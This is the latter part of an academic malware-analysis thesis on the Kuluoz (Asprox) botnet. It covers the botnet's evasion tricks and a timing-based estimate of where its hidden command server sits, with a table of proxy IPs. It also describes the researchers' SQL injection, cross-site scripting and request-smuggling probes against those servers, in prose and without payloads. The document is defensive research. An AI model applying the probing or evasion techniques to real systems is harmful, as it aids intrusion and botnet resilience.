the malware blacklists Amazon’s range of IPs for EC2, and keeps a list of TOR exit nodes, that

gets updated occasionally. However, not all the exit points are mapped, as through some of

them we managed to communicate with the C&C. It is sort of a cat and mouse game, where

there are new exit points popping up and the malware maps and blocks them.

The proxy and cloud IP’s blacklisting is permanent – once an address is blocked, it would not

receive a response later.

Geographic region blacklisting

A second type of blacklisting is blacklisting a geographic location (geo screening).

This could be due to a spam campaign, targeting a specific region. However, this blacklisting

is usually temporary, as new campaigns could target different or wider regions. For example,

on some dates IP addresses from Israel were blocked, and then a few weeks later they

received responses again.

12

Amazon EC2 13

TOR Project

31

10.1.3. Empty responses on error

Another feature we discovered during the Mothership investigation (details in the next

chapter), is that when there is an error in the request URL, to one of the C&C servers, an

empty response is returned without disclosure of any data.

For example, in case the RC4 encrypted hex string is invalid (not encrypted using the given

key), or if the decrypted request is to a wrong page (wrong request format, or another page

rather than index.php) - the response is a HTTP 200 OK, but with no data.

10.1.4. Using IP addresses rather than domain addresses

All of the communication with the C&C proxies is done based on IP addresses, rather than

domain addresses.

Many botnets use domain addresses when contacting their C&C server. It allows the botnet

to recover from a server takedown with only a change of DNS record.

However, it also provides security solutions the opportunity to block any access to the C&C

domain and yield the botnet useless. There are also security products and research that

detect malicious botnet activity14 using DNS traffic.

The Kuluoz botnet maintains a large server redundancy and implements a mechanism for

delivering a new list of servers. The use of IP addresses rather than domain names has the

advantage that once a server is blacklisted by security solutions it is quickly replaced with

another server in another IP address. Also, when using IP addresses DNS requests are not

necessary. This reduces amount of noise the malware generates in a local network, and

makes finding the malware harder.

14

Early Detection of Malicious Flux Networks via Large-Scale Passive DNS Traffic Analysis, Dependable and Secure Computing, IEEE Transactions pp 714-726

32

11. Mother-Ship Investigation

At an early stage of the botnet research, we became suspicious that the C&C network is a

two tier network, with a main server behind a number of proxy servers.

This was due a number of reasons:

All the C&C servers were Nginx servers, that are primarily used as web proxies

The servers seemed completely synchronized – we always received the same

responses from all the servers (same C&C address list, same flow of commands to

run, same files on all servers etc.)

The internal URL structure – the plaintext URL contains a request to a web page

with parameters. This likely means that the request is forwarded to another server

Once we came to this conclusion, we tried to find some more information about the

Mothership – where it is located, what processing is done by the proxies and what is done

by the Mothership, and how protected it is.

11.1. Triangulation

Our first attempt to understand the location of the C&C main server relied on a simplified

version of a technique taken from the physical world called Triangulation. In this technique,

the location of a point is determined by its distance from a number of well-known locations.

We wanted to measure the difference in the network response time, between a request

that went all the way to the mother ship, and a request that was answered by the proxy

server. This time difference would be a good approximation to the time it takes a request by

the proxy server, to be answered by the mother ship. Once we have this data for all the C&C

servers, and have the geographic location of all of them, we can estimate the location of the

mother ship.

For the response time of a request that goes all the way, we used a regular C&C request in

the format the agent sends out (which would be forwarded to the mother ship), and for the

request that is replied by the proxy, we sent an ICMP echo request to the C&C server (which

is replied directly by the proxy server). We measured the response time, by calculating the

time difference between the network ACK packet we received after the GET request, and the

actual response that followed (see Figure 25). This interval represents the time it takes the

proxy to contact the mother ship and receive an answer.

33

Figure 25: Agent to proxy request-response protocol

We sent both typical types of the agent protocol requests (request to get a new command,

and an updated IP list request), to each one of the proxy servers. We sent such requests

periodically for a 12 hour period, with an interval of few seconds between consecutive

requests. From the results, we calculated the average time it took for each proxy to respond,

to each of the two request types, after removing requests far off the average (that probably

suffered from some network delay), to keep the standard deviation low (we removed a very

small percent of the requests – only requests with a time interval that is at least twice or at

most half of the average). After calculating the average results, we calculated the delay for

the communication between the proxy and the C&C server - simply by subtracting half of the

ICMP round trip average time (to remove the network delay from the proxy to the sender).

As can be seen in the table below, the results show a big difference in the proxy to

Mothership delay according to the geographic location. European proxies had the lowest

delay, especially the ones in France. This leads us to assume that the actual C&C Mothership

is located in Europe, most like in France or close to it.

This also confirms our assumption that the C&C addresses are indeed proxy servers, as the

difference between ICMP response times and request response times are very different

from one C&C address to another. Addresses that are close geographically have a similar

difference - which means similar times to send the response, and addresses that are on

different continents have a big difference from one another, indicating that there is a

communication with another server before sending the response.

Table 5: Triangulation results from April 6th, 2013

IP IP requests average (s)

Command requests average (s)

ICMP RT average (s) Proxy<->C&C (s) Location

91.121.156.162 0.383791417 0.364481746 0.1723434 0.278310046 France

94.23.254.90 0.366694885 0.378037113 0.160328683 0.297872771 France

178.32.136.84 0.396852492 0.379165424 0.1553775 0.301476674 France

85.214.133.237 0.92124475 0.418431228 0.157781 0.339540728 Germany

193.23.226.15 0.449522017 0.429755443 0.167661133 0.345924876 Germany

Victim Proxy

SYN

ACK

SYN, ACK

GET

ACK

200 OK

Calculated margin: -

interval to communicate with the

Mothership

34

87.239.158.90 0.494029717 0.458901639 0.178054051 0.369874614 Belgium

80.67.6.226 0.456609717 0.464347115 0.184626877 0.372033676 Sweden

87.106.26.231 0.355471237 0.452734576 0.156842431 0.37431336 Germany

77.241.199.212 0.495011864 0.478306483 0.187904237 0.384354365 Lithuania

50.56.112.118 0.66846681 0.653277984 0.257238458 0.524658755 USA

50.57.127.143 0.691065934 0.65583 0.262004576 0.524827712 USA

68.233.36.146 0.652446362 0.644927833 0.238246271 0.525804698 USA

68.233.32.146 0.721279741 0.667255246 0.244851 0.544829746 USA

68.233.32.145 0.681399695 0.683253933 0.248521623 0.558993122 USA

174.120.225.57 0.708421459 0.712564339 0.270705607 0.577211535 USA

180.235.133.70 1.472060368 1.331018737 0.394247386 1.133895044 Hong Kong

202.52.136.27 1.302095759 1.337380879 0.404653847 1.135053956 Hong Kong

180.235.134.228 1.297022746 1.351889339 0.40810475 1.147836964 Hong Kong

180.235.132.29 1.301227321 1.399891103 0.412090825 1.193845691 Hong Kong

180.235.134.199 1.396842525 1.402668825 0.402612034 1.201362807 Hong Kong

202.29.42.136 1.506434651 1.49659431 0.498294651 1.247446984 Thailand

124.109.2.78 1.593907627 1.53384 0.501877525 1.282901238 Thailand

103.4.218.22 1.80974219 1.746485105 0.52132919 1.48582051 Thailand

11.2. Injection and Request Smuggling Attempts

11.2.1. SQL Injection attempts

We assumed that the mother ship server is employing a relational database server to keep

track of infected machines and administer the botnet. This is a practice we have commonly

seen in the wild. In the past, C&C applications has been known to occasionally demonstrate

vulnerability to SQL injection (vOlk Botnet 15, for example). Hence, one of our first attempts

was to check if it is possible to get information from the C&C using SQL injection16.

We created the plain text attack vectors and then encrypted them using the proper

algorithm and key before sending to the proxy server. We have attempted to inject into the

id parameter of the request, which normally holds a 32 characters string. By using time

based SQL commands we have attempted to evaluate whether we were able to actually

trigger an injection or not. None of these attempts had effect on the response, indicating

that the C&C network has some SQL injection protection.

11.2.2. Cross Side Scripting (XSS) attempts

Another attempt we made is to try and detect access to the Mother Ship server by its

operator. We used Cross Site Scripting17 in one of the request parameters.

15

vOlk Botnet SQL injection report by Vulnerability Lab 16

SQL Injection on OWASP 17 Cross Site Scripting on OWASP

35

We created a dummy web page that logs every access to it. Then, our attack vector includes

and image tag that referenced this page. We hoped that the request would be logged and

displayed in the C&C administration application, triggering access from the operator’s

machine to our web page.

For this, we used the request for updated C&C servers list. The request is a RC4 encrypted

request, which translates to /index.php?r=gate/getipslist&id=ID, where ID is the short 8

characters victim ID. As explained on section 4.2.2, the server list is returned encrypted, and

the encryption key is the ID field content.

First we verified that it is possible to use an ID longer than 8 characters – we used a longer

fake ID, and received an encrypted IP list. The encrypted list was encrypted using our long ID

(the content of the ID field) – the key decrypted the list, and valid results were received,

indicating that it is indeed possible to use longer IDs.

We created the plaintext attack vector, injecting into the ID field an HTML image tag

(referencing our trap web page). We then encrypted them using the proper algorithm and

key before sending to the C&C server. However, no access was made to the page.

11.2.3. Request Smuggling Attempts

Another feature we wanted to check is whether any parsing is done at the proxy server, or

whether it is used just to pass the request to the Mother Ship. We wanted to understand

whether the decryption is done at the proxy side, and where the request decoding (replacing

binary ASCII values with actual characters) is done.

To check this, we tried to use Request Smuggling18 techniques. We used again the request

for updated C&C servers list. We tried to generate a request that will lead us to where the

decryption and parsing is done (and possibly give us some information about the

Mothership, in case vulnerability for request smuggling exists). We checked this by using a

secondary HTTP request in the ID field that in case of such vulnerability will cause two

separate HTTP requests to be sent.

We attempted to insert two secondary HTTP commands in the ID field:

An HTTP TRACE request in the ID, to see if any data is returned from the trace

An HTTP GET request to our trap web page, to see if there is any access to it

For both cases, we prepared two plaintext vectors – One was a regular, non-encoded

version, and the second was an encoded version, replacing special characters (spaces, line

breaks, etc) with their ASCII representation.

First, we sent the encoded request. We received a response, a server list encrypted with the

decoded password – different than the original ID we sent. This means that requests are

decoded on the process, either on the proxy side or on the mother ship. However, no data

18

Request Smuggling on OWASP

36

was returned related to the TRACE request. This likely indicates that the decoding happens

on the mother ship, otherwise the forged TRACE request would have been sent.

Second, we sent the regular (not encoded) TRACE request – and received an encrypted

server list. When trying to open the encryption, we noticed that the working encryption key

is the non-encoded key (the ID field as we sent it). Again, no data was returned related to

the TRACE request. This means, most likely, that the decryption is done at the Mothership,

otherwise the TRACE request would have been sent when forwarding the original request to

the mother ship.

We repeated this experiment with the HTTP GET request. Again results were similar – no

access was made to our trap page, and the servers list was encrypted, at both attempts, with

the decoded ID field.

From this, we learn that most likely the C&C proxies are used merely for passing the

requests to the Mothership, without doing any decryption or decoding on their side.

This also caused the C&C to be secure against such HTTP request forgery attempts.

12. Conclusions

Kuluoz, despite using simple infection techniques, achieved an impressive success, spreading

to a large number of victims and generating revenue from spam mail and malware affiliates.

A few key features enabled its success:

A modular software structure enabled it to stay off the radar, as the basic malware

executable does not have any special capabilities. This also enabled it to make

changes easily and keep improving, even while the base release stayed intact

Its C&C architecture, which hides the main C&C server through a group of

compromised proxy servers that can be replaced and added without any downtime

to the botnet

Analysis protection mechanisms and C&C protection against known attacks, makes it

harder to expose or attack the C&C Mother Ship

This shows that while malware such as Stuxnet or Flame get wide attention, much simpler

malware can achieve success, by using wise software engineering and C&C architecture.

In most aspects Kuluoz and Flame are very similar – their modules, actions, and their

robustness. The main difference is the method of infection – while Flame used zero-day

vulnerabilities, Kuluoz uses simple social engineering techniques. This method of infection

works good, as the number of possible targets for Kuluoz is much bigger.

However, the malware can still be stopped or slowed down. One approach is to detect the

malware’s activity, using security products such as firewalls and Intrusion Prevention

Systems (IPS):

37

Part of the malware's protocol is still plaintext (the responses with the actions to

take), and can easily be signed, and blocked, by products at the ISP's or enterprises

side.

Deep packet inspection can also notice and alert on the encrypted C&C

communications – it is easy to automatically decrypt and detect the malware's

protocols, once noticing the long hex strings common to the malware.

The main disadvantage of these methods is the fact they require constant monitoring and

updating of the rules and filters, as the malware changes rapidly, as detailed on chapter 8.

Another disadvantage of automatic blocking is that it can trigger unwanted blocking of

legitimate traffic. For example, Kuluoz in the past (when still using plaintext requests), used

to generate fake requests with its regular pattern to twitter and bing19, in order to trick

network IDS systems.

Another approach is using network anomaly detection tools20, which can detect a change in

the computers activity, after infection. Such tools can identify the new repetitive request

pattern to the C&C network, and alert that a computer is infected, when the impact to the

computer or organization is still minimal.

Other than these methods, constant investigation by security firms should be done, in order

to understand such threats that appear on a regular basis, and stop them before reaching

such large botnet sizes.

19

Identification and Recognition of Remote-Controlled Malware, p. 67 20 Detecting Botnet Command and Control

38

13. Table of figures

13.1. Figures

FIGURE 1: KULUOZ EXECUTABLE AND ZIP FILE, WITH A MICROSOFT WORD ICON FOR THE EXECUTABLE .......................... 6

FIGURE 2: UPS SPAM, FROM SEPTEMBER 2012 ............................................................................................. 7

FIGURE 3: AMERICAN AIRLINES SPAM, FROM APRIL 2013 ................................................................................. 7

FIGURE 4: DHL SPAM, FROM MAY 2013 ...................................................................................................... 7

FIGURE 5: KULUOZ SOFTWARE MODULAR STRUCTURE....................................................................................... 9

FIGURE 6: EXAMPLE OF A POST REQUEST WITH THE SPAM SENDING PROGRESS .................................................... 11

FIGURE 7: TEMPLATE OF THE MODULE'S XML CONFIGURATION ........................................................................ 12

FIGURE 8: EXAMPLE OF A PARTIAL LIST OF SPAM TARGETS, IN THE SPAM CONFIGURATION ........................................ 12

FIGURE 9: EXAMPLE OF THE PLACEHOLDERS USED IN THE MESSAGE BODY FIELD IN THE CONFIGURATION ...................... 13

FIGURE 10: EXAMPLE OF THE SMTP HANDLING RULES FROM THE CONFIGURATION ............................................... 13

FIGURE 11: EXAMPLE BASE64 ENCODED CONFIGURATION ............................................................................... 15

FIGURE 12: THE MODULE REPORTING BACK RESULTS (VULNERABLE SERVERS REDACTED).......................................... 15

FIGURE 13: EXAMPLE OF THE FAKEAV IN ACTION .......................................................................................... 17

FIGURE 14: ZBOT CONFIGURATION DOWNLOAD ........................................................................................... 17

FIGURE 15: AGENT COMMUNICATION WITH THE C&C SERVER .......................................................................... 17

FIGURE 16: ZEROACCESS AGENT CHECKING THE GEOGRAPHIC LOCATION ............................................................. 18

FIGURE 17: ZEROACCESS AGENT DOWNLOADING ADOBE FLASH UPDATE ............................................................. 18

FIGURE 18: ZEROACCESS P2P COMMUNICATION .......................................................................................... 18

FIGURE 19: EXAMPLE OF A REQUEST AND RESPONSE USING THE DESCRIBED PROTOCOL ........................................... 20

FIGURE 20: EXAMPLE OF REQUEST AND RESPONSE FOR C&C SERVER LIST ............................................................ 22

FIGURE 21: ACTUAL C&C SERVER LIST, AFTER DECRYPTION .............................................................................. 22

FIGURE 22: GRAPH OF THE NUMBER OF IPS IN THE C&C NETWORK, PER DATE...................................................... 26

FIGURE 23: CHART OF THE PERCENTAGE OF IPS IN THE C&C NETWORK, PER CONTINENT, FROM AUGUST 2012 UNTIL JUNE

2013 ........................................................................................................................................ 27

FIGURE 24: CHART OF THE PERCENTAGE OF IPS IN THE C&C NETWORK, PER COUNTRY, FROM AUGUST 2012 UNTIL JUNE

2013 ........................................................................................................................................ 28

FIGURE 25: AGENT TO PROXY REQUEST-RESPONSE PROTOCOL .......................................................................... 33

13.2. Tables

TABLE 1: LIST OF MALWARE EXECUTABLE FILES................................................................................................ 8

TABLE 2: MALWARE VERSIONS SUMMARY ..................................................................................................... 8

TABLE 3: KULUZ MODULES OVERVIEW ........................................................................................................ 10

TABLE 4: AVERAGE C&C SERVER LIFE SPAN BY REGION, IN DAYS ........................................................................ 27

TABLE 5: TRIANGULATION RESULTS FROM APRIL 6TH, 2013 ............................................................................ 33

39

14. References

1. Villeneuve Nart, Jessa dela Torre, and David Sancho, "Asprox Reborn", Trend Micro

Incorporated, March 2013, http://www.trendmicro.com/cloud-

content/us/pdfs/security-intelligence/white-papers/wp-asprox-reborn.pdf

[accessed: November 04, 2013]

2. Borgaonkar Ravishankar, "An Analysis of the Asprox Botnet", In 2010 Fourth

International Conference on Emerging Security Information Systems and

Technologies (SECURWARE), 2010.

3. Virus Total, https://www.virustotal.com/ [accessed: November 04, 2013]

4. CVE Details, "CVE-2012-1823", http://www.cvedetails.com/cve/CVE-2012-1823

[accessed: November 04, 2013]

5. Asprox Reborn, p. 14.

6. Secure list, "Trojan.Win32.FakeAV.cmcs",

http://www.securelist.com/en/descriptions/10232631/Trojan.Win32.FakeAV.cmcs

[accessed: November 04, 2013]

7. Stone-Grossx Brett, Ryan Abmanz, Richard A. Kemmererx, Christopher Kruegelx,

Douglas G. Steigerwaldz, and Giovanni Vigna, "The Underground Economy of Fake

Antivirus Software", in Economics of Information Security and Privacy III, pp 55-78,

2011.

8. Wyke James, "What is Zeus?", SophosLabs, May 2011,

http://www.sophos.com/medialibrary/PDFs/technical%20papers/Sophos%20what%

20is%20zeus%20tp.pdf?dl=true [accessed: November 04, 2013]

9. Abuse.ch, "ZeuS Tracker :: ZeuS Host poebalu7raz.com",

https://zeustracker.abuse.ch/monitor.php?host=poebalu7raz.com&id=92b899be47

0a940e78a6c952a755c52c [accessed: November 04, 2013]

10. McNamee Kevin, "Malware Analysis Report - New C&C Protocol for

ZeroAccess/Sirefef", Kindsight, June 2012,

http://www.kindsight.net/sites/default/files/Kindsight_Malware_Analysis-

New_CC_protocol_ZeroAccess-final2.pdf [accessed: November 04, 2013]

11. Nginx - HttpProxyModule, http://wiki.nginx.org/HttpProxyModule [accessed:

November 04, 2013]

12. Amazon - Amazon Elastic Compute Cloud (Amazon EC2),

http://aws.amazon.com/ec2/ [accessed: November 04, 2013]

13. Tor project, https://www.torproject.org/ [accessed: November 04, 2013]

14. Perdisci Roberto, Igino Corona, and Giorgio Giacinto, "Early Detection of Malicious

Flux Networks via Large-Scale Passive DNS Traffic Analysis", in IEEE Transactions on

Dependable and Secure Computing, vol. 9, pp 714-726, 2012.

15. Vulnerability Lab, "vOlk Botnet SQL injection report", http://www.vulnerability-

lab.com/download_content.php?id=721 [accessed: August 15, 2013]

16. OWASP, "SQL Injection", https://www.owasp.org/index.php/SQL_Injection

[accessed: November 04, 2013]

17. OWASP, "Cross-site Scripting (XSS)", https://www.owasp.org/index.php/Cross-

site_Scripting_(XSS) [accessed: November 04, 2013]

40

18. OWASP, "HTTP Request Smuggling",

https://www.owasp.org/index.php/HTTP_Request_Smuggling [accessed: November

04, 2013]

19. Dietrich Christian Jörn, "Identification and Recognition of Remote-Controlled

Malware", Universit t Mannheim, Diss., 2013.

20. Bilge Leyla, Davide Balzarotti, William Robertson, Engin Kirda, and Christopher

Kruegel. DISCLOSURE: Detecting Botnet Command and Control Servers Through

Large-Scale NetFlow Analysis. In Annual Computer Security Applications Conference,

2012.

21. Microsoft Malware Protection Center, "Win32/Kuluoz",

http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=

Win32/Kuluoz [accessed: November 04, 2013]

22. Grier Chris, Lucas Ballard, Juan Caballero, Neha Chachra, Christian J. Dietrich, Kirill

Levchenko, Panayiotis Mavrommatis, Damon McCoy, Antonio Nappa, Andreas

Pitsillidis, Niels Provos, M. Zubair Rafique, Moheeb Abu Rajab, Christian Rossow,

Kurt Thomas, Vern Paxson, Stefan Savage, Geoffrey M. Voelker, “Manufacturing

Compromise: The Emergence of Exploit-as-a-Service” In the Proceedings of the ACM

Conference on Computer and Communications Security (CCS), October 2012.

23. Burji Supreeth, Kathy J. Liszka, C. Chan, "Malware analysis using reverse engineering

and data mining tools", In 2010 International Conference on System Science and

Engineering (ICSSE), July 2010.

24. Rieck Konrad, Philipp Trinius, Carsten Willems, Thorsten Holz, "Automatic analysis of

malware behavior using machine learning", In Journal of Computer Security, vol. 19,

pp 639-668, June 2011.

25. Inoue Daisuke, Katsunari Yoshioka, Masashi Eto, Yuji Hoshizawa and Koji Nakao,

“Malware behavior analysis in isolated miniature network for revealing Malware's

network activity,” in Proceedings of IEEE International Conference on

Communications (ICC '08), pp. 1715–1721, May 2008.

41

תקציר

Kuluoz הוא סוס טרויאני מסחרי, אשר השפיע על כמות גדולה של מחשבים ברחבי העולם וגרם

, Asprox botnetלשליחת כמות משמעותית של ספאם. הבוטנט שיצר הסוס הטרויאני, המוכר גם כ

ברחבי העולם ונחקר ע"י חוקרי אבטחה רבים. הבוטנט נותח על ידי דו"ח של חברת עורר עניין רב

Trend Micro הבוטנט .Asprox הוא בוטנט ותיק, שזכה להצלחה רבה לפני מספר שנים, בעיקר

.8040, אך נעלם מעט מאז שנת 8002בשנת

עבודה זו מרחיבה את הדו"ח שפורסם, תוך שימוש בתוצאות מחקר מקיף שבוצע על כמות מידע

גדולה בעשרת החודשים האחרונים. העבודה מציגה ניתוח של הסוס הטרויאני ויכולותיו, ומוסיפה

והשליטה, שינויים שנעשו בו לאורך הזמן ויכולות הגנה הפיקודמידע חדש על המבנה שלו, רשת

שונות.

היכולת –דו"ח זה מצביע על המפתחות העיקריים להצלחתו של הסוס הטרויאני ולקמפיין הארוך שלו

ארכיטקטורת שרתי הפיקוד ולבצע שינויים מהר ובקלות, תכונות שאפשרו לו להשאר בפרופיל נמוך,

והשליטה שלו, המסתירה את שרתי הליבה שלו מאחורי רשת שרתי פרוקסי פרוצים שניתנים

בקלות. להחלפה

של מיקום, במובנים –כמו כן, עבודה זו מוסיפה מידע חדש על ליבת רשת הפיקוד והשליטה של הכלי

תפקיד ואבטחה.

42

בהרצליה הבינתחומי המרכז

המחשב למדעי ארזי אפי ספר-בית

Kuluoz:

ניתוח סוס טרויאני

תואר לקראת מהדרישות חלק כמילוי המוגש גמר פרויקט סיכום

המחשב במדעי מוסמך

שקד בר יד-על

מר עמיחי שולמן בהנחיית בוצעה העבודה

51/2/8/51